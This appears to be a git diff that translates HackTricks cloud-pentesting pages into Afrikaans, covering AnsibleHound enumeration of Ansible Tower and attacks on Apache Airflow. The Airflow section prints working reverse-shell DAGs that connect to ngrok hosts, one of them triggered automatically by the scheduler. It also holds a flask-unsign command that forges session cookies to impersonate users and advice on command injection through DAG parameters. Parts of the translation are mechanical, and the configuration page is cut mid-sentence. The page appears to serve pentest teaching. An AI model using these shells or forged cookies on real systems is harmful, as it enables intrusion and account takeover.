2. Even with the lowest privilege (**Read**) token it is possible to recursively enumerate all accessible resources (organisations, inventories, hosts, credentials, projects, job templates, users, teams…).
|
||||
3. When the raw data is converted to the BloodHound schema you obtain the same *attack-path* visualisation capabilities that are so popular in Active Directory assessments – but now directed at your CI/CD estate.
|
||||
### Waarom is dit nuttig?
|
||||
1. Die Tower/AWX REST API is uiters ryk en stel **elke objek en RBAC verhouding** wat jou instansie ken, bloot.
|
||||
2. Selfs met die laagste voorreg (**Lees**) token is dit moontlik om alle toeganklike hulpbronne (organisasies, inventarisse, gasheer, geloofsbriewe, projekte, werksjablone, gebruikers, spanne…) rekursief te enumerate.
|
||||
3. Wanneer die rou data na die BloodHound skema omgeskakel word, verkry jy dieselfde *aanvalspad* visualisering vermoëns wat so gewild is in Aktiewe Gids assessments – maar nou gerig op jou CI/CD eiendom.
|
||||
|
||||
Security teams (and attackers!) can therefore:
|
||||
* Quickly understand **who can become admin of what**.
|
||||
* Identify **credentials or hosts that are reachable** from an unprivileged account.
|
||||
* Chain multiple “Read ➜ Use ➜ Execute ➜ Admin” edges to obtain full control over the Tower instance or the underlying infrastructure.
|
||||
Sekuriteitspanne (en aanvallers!) kan dus:
|
||||
* Vinnig verstaan **wie admin van wat kan word**.
|
||||
* Identifiseer **geloofsbriewe of gasheer wat bereik kan word** vanaf 'n nie-bevoorregte rekening.
|
||||
* Meerdere “Lees ➜ Gebruik ➜ Voer Uit ➜ Admin” kante ketting om volle beheer oor die Tower instansie of die onderliggende infrastruktuur te verkry.
|
||||
|
||||
### Prerequisites
|
||||
* Ansible Tower / AWX / Automation Controller reachable over HTTPS.
|
||||
* A user API token scoped to **Read** only (created from *User Details → Tokens → Create Token → scope = Read*).
|
||||
* Go ≥ 1.20 to compile the collector (or use the pre-built binaries).
|
||||
### Voorvereistes
|
||||
* Ansible Tower / AWX / Automatiseringsbeheer bereikbaar oor HTTPS.
|
||||
* 'n gebruiker API-token wat slegs op **Lees** geskaal is (gecreëer vanaf *Gebruiker Besonderhede → Tokens → Token Skep → skaal = Lees*).
|
||||
* Go ≥ 1.20 om die versameling te kompileer (of gebruik die voorafgeboude binêre).
|
||||
|
||||
### Building & Running
|
||||
### Bou & Loop
|
||||
```bash
|
||||
# Compile the collector
|
||||
cd collector
|
||||
@@ -164,7 +162,7 @@ go build . -o build/ansiblehound
|
||||
# Execute against the target instance
|
||||
./build/ansiblehound -u "https://tower.example.com/" -t "READ_ONLY_TOKEN"
|
||||
```
|
||||
Internally AnsibleHound performs *paginated* `GET` requests against (at least) the following endpoints and automatically follows the `related` links returned in every JSON object:
|
||||
Intern intern AnsibleHound voer *gepagineerde* `GET` versoeke uit teen (ten minste) die volgende eindpunte en volg outomaties die `verwante` skakels wat in elke JSON-objek teruggestuur word:
|
||||
```
|
||||
/api/v2/organizations/
|
||||
/api/v2/inventories/
|
||||
@@ -175,37 +173,32 @@ Internally AnsibleHound performs *paginated* `GET` requests against (at least) t
|
||||
/api/v2/users/
|
||||
/api/v2/teams/
|
||||
```
|
||||
All collected pages are merged into a single JSON file on disk (default: `ansiblehound-output.json`).
|
||||
Alle versamelde bladsye word in 'n enkele JSON-lêer op skyf saamgevoeg (verstek: `ansiblehound-output.json`).
|
||||
|
||||
### BloodHound Transformation
|
||||
The raw Tower data is then **transformed to BloodHound OpenGraph** using custom nodes prefixed with `AT` (Ansible Tower):
|
||||
### BloodHound Transformasie
|
||||
Die rou Tower-data word dan **getransformeer na BloodHound OpenGraph** met behulp van pasgemaakte knope wat met `AT` (Ansible Tower) voorafgegaan word:
|
||||
* `ATOrganization`, `ATInventory`, `ATHost`, `ATJobTemplate`, `ATProject`, `ATCredential`, `ATUser`, `ATTeam`
|
||||
|
||||
And edges modelling relationships / privileges:
|
||||
En rande wat verhoudings / voorregte modelleer:
|
||||
* `ATContains`, `ATUses`, `ATExecute`, `ATRead`, `ATAdmin`
|
||||
|
||||
The result can be imported straight into BloodHound:
|
||||
Die resultaat kan regstreeks in BloodHound ingevoer word:
|
||||
```bash
|
||||
neo4j stop # if BloodHound CE is running locally
|
||||
bloodhound-import ansiblehound-output.json
|
||||
```
|
||||
|
||||
Optionally you can upload **custom icons** so that the new node types are visually distinct:
|
||||
U kan **pasgemaakte ikone** opslaan sodat die nuwe knooppunt tipes visueel onderskeibaar is:
|
||||
```bash
|
||||
python3 scripts/import-icons.py "https://bloodhound.example.com" "BH_JWT_TOKEN"
|
||||
```
|
||||
### Verdedigende & Aanvallende Oorwegings
|
||||
* 'n *Read* token word normaalweg as onskadelik beskou, maar lek steeds die **volledige topologie en elke geloofsbrief metadata**. Behandel dit as sensitief!
|
||||
* Handhaaf **minimale bevoegdheid** en draai / herroep ongebruikte tokens.
|
||||
* Monitor die API vir oormatige enumerasie (meervoudige opeenvolgende `GET` versoeke, hoë paginering aktiwiteit).
|
||||
* Vanuit 'n aanvaller se perspektief is dit 'n perfekte *beginpunt → bevoegdheid eskalasie* tegniek binne die CI/CD pyplyn.
|
||||
|
||||
### Defensive & Offensive Considerations
|
||||
* A *Read* token is normally considered harmless but still leaks the **full topology and every credential metadata**. Treat it as sensitive!
|
||||
* Enforce **least privilege** and rotate / revoke unused tokens.
|
||||
* Monitor the API for excessive enumeration (multiple sequential `GET` requests, high pagination activity).
|
||||
* From an attacker perspective this is a perfect *initial foothold → privilege escalation* technique inside the CI/CD pipeline.
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
* [AnsibleHound – BloodHound Collector for Ansible Tower/AWX](https://github.com/TheSleekBoyCompany/AnsibleHound)
|
||||
* [BloodHound OSS](https://github.com/BloodHoundAD/BloodHound)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,23 +1,22 @@
|
||||
# Apache Airflow Security
|
||||
# Apache Airflow Sekuriteit
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### Basic Information
|
||||
### Basiese Inligting
|
||||
|
||||
[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications.
|
||||
[**Apache Airflow**](https://airflow.apache.org) dien as 'n platform vir **die orkestrering en skedulering van datapipelines of werksvloei**. Die term "orkestrering" in die konteks van datapipelines dui op die proses van rangskikking, koördinering en bestuur van komplekse dataverkies wat uit verskeie bronne ontstaan. Die primêre doel van hierdie georkestreerde datapipelines is om verwerkte en verbruikbare datastelle te verskaf. Hierdie datastelle word wyd gebruik deur 'n menigte toepassings, insluitend maar nie beperk tot besigheidsintelligensie-instrumente, datawetenskap en masjienleer modelle, wat almal fundamenteel is vir die funksionering van groot data toepassings.
|
||||
|
||||
Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**.
|
||||
Basies, Apache Airflow sal jou toelaat om **die uitvoering van kode te skeduleer wanneer iets** (gebeurtenis, cron) **gebeur**.
|
||||
|
||||
### Local Lab
|
||||
### Plaaslike Laboratorium
|
||||
|
||||
#### Docker-Compose
|
||||
|
||||
You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM).
|
||||
Jy kan die **docker-compose konfigurasie lêer van** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) gebruik om 'n volledige apache airflow docker omgewing te begin. (As jy op MacOS is, maak seker jy gee ten minste 6GB RAM aan die docker VM).
|
||||
|
||||
#### Minikube
|
||||
|
||||
One easy way to **run apache airflo**w is to run it **with minikube**:
|
||||
|
||||
Een maklike manier om **apache airflow** te **hardloop is om dit met minikube** te hardloop:
|
||||
```bash
|
||||
helm repo add airflow-stable https://airflow-helm.github.io/charts
|
||||
helm repo update
|
||||
@@ -27,10 +26,9 @@ helm install airflow-release airflow-stable/airflow
|
||||
# Use this command to delete it
|
||||
helm delete airflow-release
|
||||
```
|
||||
### Airflow Konfigurasie
|
||||
|
||||
### Airflow Configuration
|
||||
|
||||
Airflow might store **sensitive information** in its configuration or you can find weak configurations in place:
|
||||
Airflow mag **sensitiewe inligting** in sy konfigurasie stoor of jy kan swak konfigurasies vind:
|
||||
|
||||
{{#ref}}
|
||||
airflow-configuration.md
|
||||
@@ -38,65 +36,62 @@ airflow-configuration.md
|
||||
|
||||
### Airflow RBAC
|
||||
|
||||
Before start attacking Airflow you should understand **how permissions work**:
|
||||
Voordat jy begin om Airflow aan te val, moet jy verstaan **hoe toestemmings werk**:
|
||||
|
||||
{{#ref}}
|
||||
airflow-rbac.md
|
||||
{{#endref}}
|
||||
|
||||
### Attacks
|
||||
### Aanvalle
|
||||
|
||||
#### Web Console Enumeration
|
||||
#### Web Konsol Enumerasie
|
||||
|
||||
If you have **access to the web console** you might be able to access some or all of the following information:
|
||||
As jy **toegang tot die webkonsol** het, mag jy in staat wees om sommige of al die volgende inligting te bekom:
|
||||
|
||||
- **Variables** (Custom sensitive information might be stored here)
|
||||
- **Connections** (Custom sensitive information might be stored here)
|
||||
- Access them in `http://<airflow>/connection/list/`
|
||||
- [**Configuration**](#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here)
|
||||
- List **users & roles**
|
||||
- **Code of each DAG** (which might contain interesting info)
|
||||
- **Veranderlikes** (Pasgemaakte sensitiewe inligting mag hier gestoor word)
|
||||
- **Verbindings** (Pasgemaakte sensitiewe inligting mag hier gestoor word)
|
||||
- Toegang tot hulle in `http://<airflow>/connection/list/`
|
||||
- [**Konfigurasie**](./#airflow-configuration) (Sensitiewe inligting soos die **`secret_key`** en wagwoorde mag hier gestoor word)
|
||||
- Lys **gebruikers & rolle**
|
||||
- **Kode van elke DAG** (wat interessante inligting mag bevat)
|
||||
|
||||
#### Retrieve Variables Values
|
||||
#### Herwin Veranderlikes Waardes
|
||||
|
||||
Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http://<airflow>/variable/list/`.\
|
||||
Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**.
|
||||
Veranderlikes kan in Airflow gestoor word sodat die **DAGs** hul waardes kan **toegang**. Dit is soortgelyk aan geheime van ander platforms. As jy **genoeg toestemmings** het, kan jy hulle in die GUI in `http://<airflow>/variable/list/` toegang.\
|
||||
Airflow sal standaard die waarde van die veranderlike in die GUI wys, egter, volgens [**hierdie**](https://marclamberti.com/blog/variables-with-apache-airflow/) is dit moontlik om 'n **lys van veranderlikes** in te stel waarvan die **waarde** as **sterretjies** in die **GUI** sal verskyn.
|
||||
|
||||
.png>)
|
||||
|
||||
However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\
|
||||
To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\
|
||||
Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it:
|
||||
Egter, hierdie **waardes** kan steeds **herwin** word via **CLI** (jy moet DB toegang hê), **arbitraire DAG** uitvoering, **API** toegang tot die veranderlikes eindpunt (die API moet geaktiveer wees), en **selfs die GUI!**\
|
||||
Om toegang tot daardie waardes vanaf die GUI te verkry, kies net die **veranderlikes** wat jy wil toegang en **klik op Aksies -> Eksporteer**.\
|
||||
'n Ander manier is om 'n **bruteforce** op die **verborge waarde** uit te voer deur die **soekfilter** totdat jy dit kry:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Privilege Escalation
|
||||
|
||||
If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**.
|
||||
|
||||
As die **`expose_config`** konfigurasie op **Waar** gestel is, kan die **rol Gebruiker** en **bo** die **konfig in die web** **lees**. In hierdie konfig, verskyn die **`secret_key`**, wat beteken enige gebruiker met hierdie geldige kan **sy eie ondertekende koekie skep om enige ander gebruikersrekening na te volg**.
|
||||
```bash
|
||||
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
|
||||
```
|
||||
#### DAG Agterdeur (RCE in Airflow werker)
|
||||
|
||||
#### DAG Backdoor (RCE in Airflow worker)
|
||||
|
||||
If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\
|
||||
Note that this reverse shell is going to be executed inside an **airflow worker container**:
|
||||
|
||||
As jy **skrywe toegang** het tot die plek waar die **DAGs gestoor word**, kan jy eenvoudig **een skep** wat vir jou 'n **omgekeerde skulp** sal stuur.\
|
||||
Let daarop dat hierdie omgekeerde skulp binne 'n **airflow werker houer** uitgevoer gaan word:
|
||||
```python
|
||||
import pendulum
|
||||
from airflow import DAG
|
||||
from airflow.operators.bash import BashOperator
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_bash',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_bash',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = BashOperator(
|
||||
task_id='run',
|
||||
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
|
||||
)
|
||||
run = BashOperator(
|
||||
task_id='run',
|
||||
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
|
||||
)
|
||||
```
|
||||
|
||||
```python
|
||||
@@ -105,74 +100,66 @@ from airflow import DAG
|
||||
from airflow.operators.python import PythonOperator
|
||||
|
||||
def rs(rhost, port):
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_python',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_python',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = PythonOperator(
|
||||
task_id='rs_python',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
|
||||
)
|
||||
run = PythonOperator(
|
||||
task_id='rs_python',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
|
||||
)
|
||||
```
|
||||
|
||||
#### DAG Backdoor (RCE in Airflow scheduler)
|
||||
|
||||
If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder.
|
||||
|
||||
As jy iets stel om **uitgevoer te word in die wortel van die kode**, op die oomblik van hierdie skrywe, sal dit **deur die skeduler uitgevoer word** na 'n paar sekondes nadat dit binne die DAG se gids geplaas is.
|
||||
```python
|
||||
import pendulum, socket, os, pty
|
||||
from airflow import DAG
|
||||
from airflow.operators.python import PythonOperator
|
||||
|
||||
def rs(rhost, port):
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
|
||||
rs("2.tcp.ngrok.io", 14403)
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_python2',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_python2',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = PythonOperator(
|
||||
task_id='rs_python2',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
|
||||
run = PythonOperator(
|
||||
task_id='rs_python2',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
|
||||
```
|
||||
#### DAG Skepping
|
||||
|
||||
#### DAG Creation
|
||||
As jy daarin slaag om 'n **masjien binne die DAG-kluster te kompromitteer**, kan jy nuwe **DAGs-skrifte** in die `dags/` gids skep en hulle sal **in die res van die masjiene** binne die DAG-kluster **gekopieer word**.
|
||||
|
||||
If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster.
|
||||
#### DAG Kode Inspuiting
|
||||
|
||||
#### DAG Code Injection
|
||||
Wanneer jy 'n DAG vanaf die GUI uitvoer, kan jy **argumente** aan dit **oorgee**.\
|
||||
Daarom, as die DAG nie behoorlik gekodeer is nie, kan dit **kwulnerabel wees vir Opdrag Inspuiting.**\
|
||||
Dit is wat in hierdie CVE gebeur het: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
|
||||
|
||||
When you execute a DAG from the GUI you can **pass arguments** to it.\
|
||||
Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\
|
||||
That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
|
||||
|
||||
All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**.
|
||||
|
||||
Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**:
|
||||
Alles wat jy moet weet om **te begin soek na opdrag inspuitings in DAGs** is dat **parameters** met die kode **`dag_run.conf.get("param_name")`** **toegang verkry**.
|
||||
|
||||
Boonop kan dieselfde kwesbaarheid met **veranderlikes** voorkom (let daarop dat jy met genoeg regte die **waarde van die veranderlikes** in die GUI kan **beheer**). Veranderlikes word **toegang verkry met**:
|
||||
```python
|
||||
from airflow.models import Variable
|
||||
[...]
|
||||
foo = Variable.get("foo")
|
||||
```
|
||||
|
||||
If they are used for example inside a a bash command, you could perform a command injection.
|
||||
As hulle byvoorbeeld binne 'n bash-opdrag gebruik word, kan jy 'n opdraginjeksie uitvoer.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,114 +1,21 @@
|
||||
# Airflow Configuration
|
||||
# Airflow Konfigurasie
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Configuration File
|
||||
|
||||
**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.**
|
||||
|
||||
**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.**
|
||||
|
||||
Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
|
||||
|
||||
If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\
|
||||
If you have **access to some machine inside the airflow env**, check the **environment**.
|
||||
|
||||
Some interesting values to check when reading the config file:
|
||||
|
||||
### \[api]
|
||||
|
||||
- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS**
|
||||
- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS**
|
||||
- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS**
|
||||
- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API:
|
||||
- `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API
|
||||
- `airflow.api.auth.backend.default`: **Everyone can** access it without authentication
|
||||
- `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication**
|
||||
- `airflow.api.auth.backend.basic_auth`: For **basic authentication**
|
||||
- `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)).
|
||||
- `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default).
|
||||
- You can also **create you own authentication** method with python.
|
||||
- **`google_key_path`:** Path to the **GCP service account key**
|
||||
|
||||
### **\[atlas]**
|
||||
|
||||
- **`password`**: Atlas password
|
||||
- **`username`**: Atlas username
|
||||
|
||||
### \[celery]
|
||||
|
||||
- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_)
|
||||
- **`result_backend`**: Postgres url which may contain **credentials**.
|
||||
- **`ssl_cacert`**: Path to the cacert
|
||||
- **`ssl_cert`**: Path to the cert
|
||||
- **`ssl_key`**: Path to the key
|
||||
|
||||
### \[core]
|
||||
|
||||
- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that don’t contain the strings `DAG` and `airflow`.
|
||||
- **`fernet_key`**: Key to store encrypted variables (symmetric)
|
||||
- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections.
|
||||
- **`security`**: What security module to use (for example kerberos)
|
||||
|
||||
### \[dask]
|
||||
|
||||
- **`tls_ca`**: Path to ca
|
||||
- **`tls_cert`**: Part to the cert
|
||||
- **`tls_key`**: Part to the tls key
|
||||
|
||||
### \[kerberos]
|
||||
|
||||
- **`ccache`**: Path to ccache file
|
||||
- **`forwardable`**: Enabled by default
|
||||
|
||||
### \[logging]
|
||||
|
||||
- **`google_key_path`**: Path to GCP JSON creds.
|
||||
|
||||
### \[secrets]
|
||||
|
||||
- **`backend`**: Full class name of secrets backend to enable
|
||||
- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class.
|
||||
|
||||
### \[smtp]
|
||||
|
||||
- **`smtp_password`**: SMTP password
|
||||
- **`smtp_user`**: SMTP user
|
||||
|
||||
### \[webserver]
|
||||
|
||||
- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value
|
||||
- **`cookie_secure`**: Set **secure flag** on the the session cookie
|
||||
- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console**
|
||||
- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker)
|
||||
- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**)
|
||||
- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert**
|
||||
- **`web_server_ssl_key`**: **Path** to the **SSL** **Key**
|
||||
- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible
|
||||
|
||||
### Web Authentication
|
||||
|
||||
By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as
|
||||
## Konfigurasie Lêer
|
||||
|
||||
**Apache Airflow** genereer 'n **konfigurasie lêer** in al die airflow masjiene genaamd **`airflow.cfg`** in die
|
||||
```bash
|
||||
AUTH_TYPE = AUTH_DB
|
||||
```
|
||||
|
||||
Which means that the **authentication is checked against the database**. However, other configurations are possible like
|
||||
|
||||
Wat beteken dat die **authentisering teen die databasis nagegaan word**. egter, ander konfigurasies is moontlik soos
|
||||
```bash
|
||||
AUTH_TYPE = AUTH_OAUTH
|
||||
```
|
||||
Om die **authentisering aan derdeparty dienste** oor te laat.
|
||||
|
||||
To leave the **authentication to third party services**.
|
||||
|
||||
However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**:
|
||||
|
||||
Daar is egter ook 'n opsie om **anonieme gebruikers toegang** te gee, deur die volgende parameter op die **gewenste rol** in te stel:
|
||||
```bash
|
||||
AUTH_ROLE_PUBLIC = 'Admin'
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,43 +4,40 @@
|
||||
|
||||
## RBAC
|
||||
|
||||
(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles.
|
||||
(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow verskaf 'n **stel rolle standaard**: **Admin**, **User**, **Op**, **Viewer**, en **Public**. **Slegs `Admin`** gebruikers kan **die toestemmings vir ander rolle konfigureer/wysig**. Maar dit word nie aanbeveel dat `Admin` gebruikers hierdie standaard rolle op enige manier verander deur toestemmings van hierdie rolle te verwyder of by te voeg nie.
|
||||
|
||||
- **`Admin`** users have all possible permissions.
|
||||
- **`Public`** users (anonymous) don’t have any permissions.
|
||||
- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.**
|
||||
- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file**
|
||||
- **`Op`** users have `User` permissions plus additional op permissions.
|
||||
- **`Admin`** gebruikers het alle moontlike toestemmings.
|
||||
- **`Public`** gebruikers (anoniem) het geen toestemmings nie.
|
||||
- **`Viewer`** gebruikers het beperkte kyktoestemmings (slegs lees). Dit **kan nie die konfigurasie sien nie.**
|
||||
- **`User`** gebruikers het `Viewer` toestemmings plus addisionele gebruikers toestemmings wat hom toelaat om DAGs 'n bietjie te bestuur. Hy **kan die konfigurasie lêer sien.**
|
||||
- **`Op`** gebruikers het `User` toestemmings plus addisionele op toestemmings.
|
||||
|
||||
Note that **admin** users can **create more roles** with more **granular permissions**.
|
||||
Let daarop dat **admin** gebruikers kan **meer rolle skep** met meer **fynere toestemmings**.
|
||||
|
||||
Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that.
|
||||
Neem ook kennis dat die enigste standaard rol met **toestemming om gebruikers en rolle te lys is Admin, nie eens Op** sal dit kan doen nie.
|
||||
|
||||
### Default Permissions
|
||||
|
||||
These are the default permissions per default role:
|
||||
Hierdie is die standaard toestemmings per standaard rol:
|
||||
|
||||
- **Admin**
|
||||
|
||||
\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs]
|
||||
\[kan verwyder op Connections, kan lees op Connections, kan wysig op Connections, kan skep op Connections, kan lees op DAGs, kan wysig op DAGs, kan verwyder op DAGs, kan lees op DAG Runs, kan lees op Task Instances, kan wysig op Task Instances, kan verwyder op DAG Runs, kan skep op DAG Runs, kan wysig op DAG Runs, kan lees op Audit Logs, kan lees op ImportError, kan verwyder op Pools, kan lees op Pools, kan wysig op Pools, kan skep op Pools, kan lees op Providers, kan verwyder op Variables, kan lees op Variables, kan wysig op Variables, kan skep op Variables, kan lees op XComs, kan lees op DAG Code, kan lees op Configurations, kan lees op Plugins, kan lees op Roles, kan lees op Permissions, kan verwyder op Roles, kan wysig op Roles, kan skep op Roles, kan lees op Users, kan skep op Users, kan wysig op Users, kan verwyder op Users, kan lees op DAG Dependencies, kan lees op Jobs, kan lees op My Password, kan wysig op My Password, kan lees op My Profile, kan wysig op My Profile, kan lees op SLA Misses, kan lees op Task Logs, kan lees op Website, menu toegang op Browse, menu toegang op DAG Dependencies, menu toegang op DAG Runs, menu toegang op Documentation, menu toegang op Docs, menu toegang op Jobs, menu toegang op Audit Logs, menu toegang op Plugins, menu toegang op SLA Misses, menu toegang op Task 